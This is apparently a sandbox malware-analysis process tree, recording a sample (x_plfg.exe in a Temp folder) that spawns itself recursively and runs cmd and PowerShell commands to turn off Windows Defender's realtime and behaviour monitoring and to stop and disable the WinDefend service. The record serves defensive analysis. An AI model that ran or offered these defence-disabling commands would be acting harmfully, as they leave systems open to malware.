        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        44⤵
        
        PID:4592
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:4704
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:304
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:5752
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        48⤵
        
        PID:3352
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:3452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        50⤵
        
        PID:5788
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:2872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        52⤵
        
        PID:5644
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:2256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        54⤵
        
        PID:1740
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:1840
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:6072
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:6152
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        58⤵
        
        PID:6196
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:6236
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        60⤵
        
        PID:6280
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:6320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        62⤵
        
        PID:6364
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:6404
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        64⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:6488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        66⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:6740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        68⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:6924
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        70⤵
        
        PID:7012
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        
        PID:7092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        72⤵
        
        PID:1336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:6864
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        74⤵
        
        PID:7228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        75⤵
        
        PID:7316
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        76⤵
        
        PID:7412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        77⤵
        
        PID:7508
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        78⤵
        
        PID:7596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        79⤵
        
        PID:7684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        80⤵
        
        PID:7780
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        81⤵
        
        PID:7876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        82⤵
        
        PID:7964
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        83⤵
        
        PID:8048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        84⤵
        
        PID:8132
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        85⤵
        
        PID:7672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        86⤵
        
        PID:8260
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        87⤵
        
        PID:8372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        88⤵
        
        PID:8500
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        89⤵
        
        PID:8632
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        90⤵
        
        PID:8764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:8896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        92⤵
        
        PID:9008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        93⤵
        
        PID:9120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        94⤵
        
        PID:8484
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:8796
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        96⤵
        
        PID:9408
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        97⤵
        
        PID:9524
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        98⤵
        
        PID:9660
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        99⤵
        
        PID:9784
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        100⤵
        
        PID:9916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:10032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        102⤵
        
        PID:10176
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        103⤵
        
        PID:9672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        104⤵
        
        PID:10308
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        105⤵
        
        PID:10448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        106⤵
        
        PID:10604
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        107⤵
        
        PID:10724
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        108⤵
        
        PID:10856
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        109⤵
        
        PID:10996
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        110⤵
        
        PID:11124
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        111⤵
        
        PID:11232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        112⤵
        
        PID:11136
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        113⤵
        
        PID:11504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        114⤵
        
        PID:11880
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        115⤵
        
        PID:11412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        116⤵
        
        PID:12904
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        117⤵
        
        PID:12488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        118⤵
        
        PID:14232
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        119⤵
        
        PID:15496
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        120⤵
        
        PID:16904
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        121⤵
        
        PID:19468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        122⤵
        
        PID:25036
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        123⤵
        
        PID:28084
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        120⤵
        
        PID:33748
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        121⤵
        
        PID:39324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        118⤵
        
        PID:28948
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        119⤵
        
        PID:33040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        116⤵
        
        PID:25760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        117⤵
        
        PID:29428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        114⤵
        
        PID:23996
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        115⤵
        
        PID:27660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        114⤵
        
        PID:42856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        112⤵
        
        PID:20660
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        113⤵
        
        PID:26424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        112⤵
        
        PID:42612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        110⤵
        
        PID:23228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        111⤵
        
        PID:27516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        108⤵
        
        PID:22152
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        109⤵
        
        PID:23836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        106⤵
        
        PID:18760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        107⤵
        
        PID:24908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        108⤵
        
        PID:43432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        106⤵
        
        PID:40024
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        104⤵
        
        PID:20708
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        105⤵
        
        PID:21416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        104⤵
        
        PID:15480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        102⤵
        
        PID:20336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        103⤵
        
        PID:23856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        102⤵
        
        PID:39452
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        103⤵
        
        PID:41320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        100⤵
        
        PID:20264
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:23876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        102⤵
        
        PID:40224
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        100⤵
        
        PID:39616
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:41272
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        98⤵
        
        PID:19844
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        99⤵
        
        PID:23040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        100⤵
        
        PID:35824
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        101⤵
        
        PID:43692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        96⤵
        
        PID:18860
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        97⤵
        
        PID:24324
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        98⤵
        
        PID:43720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        96⤵
        
        PID:38784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        97⤵
        
        PID:43172
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        94⤵
        
        PID:19012
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:24332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        96⤵
        
        PID:42736
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        94⤵
        
        PID:38768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:43408
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        92⤵
        
        PID:18700
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        93⤵
        
        PID:21884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        94⤵
        
        PID:34268
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        95⤵
        
        PID:40632
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        92⤵
        
        PID:40056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        90⤵
        
        PID:18528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        91⤵
        
        PID:21520
        
        C:\Windows\System32\cmd.exe
        
